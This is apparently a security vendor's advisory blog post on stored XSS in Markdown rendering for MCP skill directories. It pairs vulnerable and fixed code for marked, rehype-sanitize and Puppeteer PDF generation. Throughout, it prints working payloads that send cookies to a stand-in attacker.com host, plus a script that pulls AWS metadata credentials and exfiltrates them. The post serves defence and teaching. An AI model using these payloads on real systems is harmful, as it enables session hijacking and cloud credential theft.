← Blog

Claude MCP skill stored XSS via markdown rendering and HTML sanitization bypass — SA-SKL-XSS6

MCP skill descriptions, README files, and audit report comments are almost universally authored in Markdown. When these descriptions are rendered to HTML for display in the skill directory or audit dashboard, the rendering pipeline must sanitize the output — not just the input. Libraries like marked and remark convert Markdown to HTML faithfully, including user-supplied raw HTML passthrough, JavaScript URIs in link href attributes, and onerror handlers in image tags. SA-SKL-XSS6 covers four stored XSS vectors: missing DOMPurify after marked.parse(), rehype-sanitize disabled for code blocks, raw HTML injection in descriptions, and server-side XSS in Puppeteer-rendered PDF reports where the attacker's JavaScript runs in a headless browser with SSRF access to internal services.

By SkillAudit  |  11 Nov 2026
SA-SKL-XSS6 findings at a glance
CRITICALXSS6-001 — marked.parse(userMarkdown) output set as innerHTML without DOMPurify — attacker uses [click me](javascript:alert(document.cookie)) or ![x](x" onerror="fetch('//attacker.com/'+document.cookie)) in skill description; every user who views the skill page executes the payload
CRITICALXSS6-002 — remark().use(rehypeSanitize, { ... }) with sanitize options that allow raw HTML inside fenced code blocks with language="html" — attacker wraps a <script> tag in a code block; rehype-sanitize treats it as literal code but the browser renders the escaped sequence as executable script
CRITICALXSS6-003 — marked configured with { html: true } — allows raw HTML in Markdown input; attacker injects <img src=x onerror="fetch('//attacker.com/'+document.cookie)"> directly in skill README; payload executes on every audit dashboard page load
CRITICALXSS6-004 — skill README rendered server-side via Puppeteer to PDF for audit report — attacker injects <script>fetch('http://169.254.169.254/latest/meta-data/', {mode:'no-cors'}).then(r=>r.text()).then(d=>fetch('https://attacker.com/?d='+btoa(d)))</script>; Puppeteer executes the JavaScript during PDF rendering; server-side XSS bridges to SSRF

XSS6-001 — marked.parse() without DOMPurify

The marked library converts Markdown to HTML. By design, it produces raw HTML output — including any JavaScript URIs or event handler attributes that exist in the Markdown source. When marked.parse() output is set as element.innerHTML without sanitization, the browser executes any JavaScript contained in the HTML. The attacker's payload lives in the skill description in the database; it executes for every user who views the skill page — stored XSS with potentially thousands of victims per payload.

// VULNERABLE — XSS6-001
// marked.parse() output used as innerHTML without sanitization.
// Attacker skill description: "[Get free audit](javascript:fetch('https://attacker.com/?c='+document.cookie))"

// Server sends raw marked output:
app.get('/api/skills/:id', async (req, res) => {
  const skill = await db.skills.findOne({ id: req.params.id });
  res.json({
    ...skill,
    // VULNERABLE: marked HTML sent to client, rendered as innerHTML on the frontend
    descriptionHtml: marked.parse(skill.description),
  });
});

// Client sets innerHTML directly:
// document.getElementById('skill-desc').innerHTML = skill.descriptionHtml;
// → JavaScript URI in link href executes on click
// → onerror in img tag executes on load
// FIXED — XSS6-001
// Always sanitize marked.parse() output with DOMPurify before setting innerHTML.
// Forbid event handler attributes and JavaScript URIs.

import { marked } from 'marked';
import DOMPurify from 'isomorphic-dompurify';

// Server: sanitize on write (defense in depth — also sanitize on read in client)
function renderMarkdown(raw) {
  const html = marked.parse(raw, {
    // FIX: disable raw HTML passthrough entirely
    // If html: true is needed, DOMPurify below handles it
    html: false,
    breaks: true,
  });

  return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'a', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'blockquote', 'br', 'hr'],
    ALLOWED_ATTR: ['href', 'title', 'class'],
    FORBID_ATTR: ['onerror', 'onload', 'onclick', 'style'],  // block event handlers
    ALLOW_DATA_ATTR: false,
    // FIX: block JavaScript URIs in href attributes
    ALLOWED_URI_REGEXP: /^(https?|mailto):/i,
  });
}

XSS6-002 — rehype-sanitize bypass via code block HTML language

The remark/rehype pipeline with rehype-sanitize is generally safer than raw marked, but misconfigured sanitization schemas create bypasses. A common misconfiguration allows raw HTML inside code blocks with language="html" for syntax-highlighted HTML examples — but the sanitize schema exempts content inside <code> tags from sanitization. An attacker wraps a script tag in an HTML fenced code block; depending on how the frontend renders the output, the script tag may execute rather than display as literal text.

// VULNERABLE — XSS6-002
// rehype-sanitize schema exempts code block content from tag filtering.
// Attacker README:
// ```html
// <script>fetch('https://attacker.com/?c='+document.cookie)</script>
// ```
// rendered via dangerouslySetInnerHTML allows script execution in some frameworks

import { remark } from 'remark';
import remarkRehype from 'remark-rehype';
import rehypeSanitize from 'rehype-sanitize';
import rehypeStringify from 'rehype-stringify';

const processor = remark()
  .use(remarkRehype, { allowDangerousHtml: true })  // VULNERABLE: passes raw HTML through
  .use(rehypeSanitize, {
    // VULNERABLE: custom schema that allows all attributes on code elements
    // Thinking this only affects display, not execution
    tagNames: ['pre', 'code', 'script'],  // VULNERABLE: script in allowlist!
  })
  .use(rehypeStringify);
// FIXED — XSS6-002
// Use default rehype-sanitize schema (which blocks script/iframe/style).
// Never set allowDangerousHtml: true in remarkRehype.
// Never include 'script', 'iframe', or 'style' in tagNames.

import { remark } from 'remark';
import remarkRehype from 'remark-rehype';
import rehypeSanitize, { defaultSchema } from 'rehype-sanitize';
import rehypeStringify from 'rehype-stringify';

const processor = remark()
  .use(remarkRehype)  // FIX: no allowDangerousHtml — raw HTML stripped before rehype
  .use(rehypeSanitize, {
    // FIX: extend defaultSchema — never replace it; default blocks script, iframe, style
    ...defaultSchema,
    attributes: {
      ...defaultSchema.attributes,
      // Only add attributes you explicitly need — never wildcard '*'
      a: ['href', 'title'],
      code: ['className'],  // for syntax highlighting class names only
    },
  })
  .use(rehypeStringify);

XSS6-003 — Raw HTML passthrough in marked with html: true

The marked library's html: true option passes raw HTML from the Markdown source through to the output unchanged. This is useful for legitimate rich content — but any HTML including <script> tags, onerror attributes, and javascript: URIs is also passed through. When this option is enabled without DOMPurify as a second pass, the entire HTML surface of the Markdown spec is available to attackers.

// VULNERABLE — XSS6-003
// marked with html: true — raw HTML from attacker skill README rendered verbatim.
// Attacker README: <img src="x" onerror="document.location='https://attacker.com/?c='+document.cookie">

const descHtml = marked.parse(skill.readme, {
  html: true,          // VULNERABLE: raw HTML passthrough enabled
  breaks: true,
  headerIds: true,
  mangle: true,
});

// descHtml is set as innerHTML — onerror fires for every dashboard viewer
// FIXED — XSS6-003
// Set html: false in marked options. If raw HTML is needed, pipe through DOMPurify.

import { marked } from 'marked';
import DOMPurify from 'isomorphic-dompurify';

const descHtml = DOMPurify.sanitize(
  marked.parse(skill.readme, {
    html: false,       // FIX: strip raw HTML from Markdown input before conversion
    breaks: true,
    headerIds: false,  // FIX: no auto-generated IDs (potential for id-based DOM clobbering)
    mangle: false,     // FIX: mangle: false prevents email address mangling bugs
  }),
  {
    FORBID_TAGS: ['script', 'iframe', 'object', 'embed', 'form'],
    FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'style'],
  }
);

XSS6-004 — Server-side XSS via Puppeteer PDF rendering

MCP skill audit platforms often generate PDF reports of audit findings by rendering the HTML report page with Puppeteer and saving the result. When the HTML report contains content derived from the skill's README or description, attacker-controlled JavaScript in that content executes inside the Puppeteer browser instance during PDF generation. This is a server-side XSS scenario: the JavaScript runs on the server, in a headless Chrome context with access to internal network routes. The attacker's script can reach http://169.254.169.254/ (AWS metadata), internal Elasticsearch, Prometheus, or admin UIs that are accessible from the server but not from external clients.

// VULNERABLE — XSS6-004
// Puppeteer renders audit HTML report that includes skill README content.
// Attacker README: <script>fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-role').then(r=>r.text()).then(d=>fetch('https://attacker.com/?d='+btoa(d)))</script>
// Puppeteer fetches the AWS metadata endpoint server-side during PDF generation.

import puppeteer from 'puppeteer';

async function generateAuditPdf(auditReportHtml) {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();

  // VULNERABLE: JavaScript in HTML executes during setContent()
  // attacker README script reaches internal services from the server
  await page.setContent(auditReportHtml, { waitUntil: 'networkidle0' });
  const pdf = await page.pdf({ format: 'A4' });
  await browser.close();
  return pdf;
}
// FIXED — XSS6-004
// Disable JavaScript in Puppeteer for PDF generation.
// Sanitize HTML before passing to Puppeteer as defense-in-depth.

import puppeteer from 'puppeteer';
import DOMPurify from 'isomorphic-dompurify';

async function generateAuditPdf(auditReportHtml) {
  // FIX 1: sanitize HTML before it reaches Puppeteer
  const safeHtml = DOMPurify.sanitize(auditReportHtml, {
    FORBID_TAGS: ['script', 'iframe', 'object'],
    FORBID_ATTR: ['onerror', 'onload', 'onclick'],
  });

  const browser = await puppeteer.launch({
    args: [
      '--disable-javascript',    // FIX 2: JavaScript disabled in this Puppeteer instance
      '--no-sandbox',            // Required for server environments
      '--disable-dev-shm-usage',
    ],
  });

  const page = await browser.newPage();

  // FIX 3: block requests to internal IP ranges at the page level
  await page.setRequestInterception(true);
  page.on('request', (req) => {
    const url = new URL(req.url());
    if (isInternalAddress(url.hostname)) {
      req.abort();  // block RFC1918, link-local, loopback
    } else {
      req.continue();
    }
  });

  await page.setContent(safeHtml, { waitUntil: 'domcontentloaded' });
  const pdf = await page.pdf({ format: 'A4', printBackground: true });
  await browser.close();
  return pdf;
}

Detection: SkillAudit scans for marked.parse(), remark().process(), and similar Markdown-to-HTML pipelines where the output reaches innerHTML, dangerouslySetInnerHTML, or page.setContent() without an intervening DOMPurify.sanitize() call. It also flags marked configurations with html: true and rehype-sanitize schemas that include script in tagNames.

Related patterns

See also SA-SKL-XSS5 for stored XSS via rich text editors and React dangerouslySetInnerHTML, and SA-SKL-SSRF17 for SSRF via PDF generation services fetching user-supplied URLs — the server-side XSS→SSRF bridge in XSS6-004 connects these two vulnerability classes.

Scan your MCP skill platform for SA-SKL-XSS6. SkillAudit's taint analysis engine tracks Markdown input through rendering pipelines to innerHTML sinks, flagging missing sanitization steps. Get started free.